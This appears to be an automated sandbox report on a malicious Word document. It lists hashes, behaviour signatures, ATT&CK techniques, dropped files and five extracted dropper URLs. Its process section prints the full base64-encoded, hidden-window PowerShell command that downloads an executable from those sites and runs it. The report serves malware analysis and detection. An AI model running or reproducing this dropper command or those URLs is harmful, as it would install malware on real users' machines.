88c21aca9eea505566e48cc3a3499e64a59388a72344fba266a368a48f709379

General

Target

88c21aca9eea505566e48cc3a3499e64a59388a72344fba266a368a48f709379.doc
Size

213KB
MD5

9b96db7be7f7bb48a86cc089ff54f78f
SHA1

2777c17ed6883b4a35591cc085179cf23871f91f
SHA256

88c21aca9eea505566e48cc3a3499e64a59388a72344fba266a368a48f709379
SHA512

b5488c94a2ce9269ed8d90c63fd915eb3529fe18bf91fe3acef715967f726cb7efcb701ce958c850b612bb018fad8e73ff99cf80c1bec37428f29c3fd4017d19
SSDEEP

6144:112k4CtGiL3HJk9ZD7blUwDtWvs+ZIFnL:11TQitkv7bOGnL

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4552	3200	Powershell.exe

Blocklisted process makes network request 3 IoCs

Processes:

Powershell.exe

flow pid process

27 4552 Powershell.exe
63 4552 Powershell.exe
73 4552 Powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

Powershell.exe

pid process

4552 Powershell.exe

flow	pid	process
27	4552	Powershell.exe
63	4552	Powershell.exe
73	4552	Powershell.exe

pid	process
4552	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3192 WINWORD.EXE
3192 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Powershell.exe

pid process

4552 Powershell.exe
4552 Powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 4552 Powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

3192 WINWORD.EXE
3192 WINWORD.EXE
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

3192 WINWORD.EXE
3192 WINWORD.EXE
3192 WINWORD.EXE
3192 WINWORD.EXE
3192 WINWORD.EXE
3192 WINWORD.EXE
3192 WINWORD.EXE
3192 WINWORD.EXE

pid	process
3192	WINWORD.EXE
3192	WINWORD.EXE

pid	process
4552	Powershell.exe
4552	Powershell.exe

description	pid	process
Token: SeDebugPrivilege	4552	Powershell.exe

pid	process
3192	WINWORD.EXE
3192	WINWORD.EXE

pid	process
3192	WINWORD.EXE
3192	WINWORD.EXE
3192	WINWORD.EXE
3192	WINWORD.EXE
3192	WINWORD.EXE
3192	WINWORD.EXE
3192	WINWORD.EXE
3192	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 3192 wrote to memory of 2972	3192	WINWORD.EXE	splwow64.exe
PID 3192 wrote to memory of 2972	3192	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\88c21aca9eea505566e48cc3a3499e64a59388a72344fba266a368a48f709379.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3192
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2972

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\D69243D1.wmf

Filesize
444B

MD5
db371a51e29bf8823ae2517ea5b97d64

SHA1
bef05dc793db4b96414c869a29f68584727c76c7

SHA256
ec24587831e0ca8b2d85de28b3fd3ba16200e19b2a307c6e873e8db331e53ad1

SHA512
49e4198fbedf620ecace9b5945e78d564d69a6e9e99e7d328eb73336fe29c62394acce68bbddf2a3c943ec3cee094e7cbec145613e80f99930801c7bc89bf5f9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zus2tf0r.ked.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
c60ea7d7deec357b5594811de4ae5fe0

SHA1
77a55271c20a9b16b060cb20a8d6ce3659ccf81e

SHA256
f1f9a6e30f24393a61de2619d588e7fab50e66628599ad4e7920af02e1bf9b36

SHA512
71dbe1b08d8fac8b0679978d9b438c907ae27963444d5f6f1e895cbddea71615a2b18eff61bd45bbd1194d1ddcdb5eea59e9764f14ef9596c04ec912cdcaa075

Download Submit
memory/3192-7-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/3192-19-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-4-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-6-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/3192-1-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/3192-9-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-10-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-8-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-11-0x00007FF7CF520000-0x00007FF7CF530000-memory.dmp

Filesize
64KB

Download
memory/3192-12-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-13-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-15-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-18-0x00007FF7CF520000-0x00007FF7CF530000-memory.dmp

Filesize
64KB

Download
memory/3192-5-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-20-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-17-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-16-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-14-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-2-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/3192-3-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/3192-0-0x00007FF811B8D000-0x00007FF811B8E000-memory.dmp

Filesize
4KB

Download
memory/3192-66-0x00007FF811B8D000-0x00007FF811B8E000-memory.dmp

Filesize
4KB

Download
memory/3192-67-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-68-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3192-69-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4552-52-0x00000134EFD00000-0x00000134EFD22000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads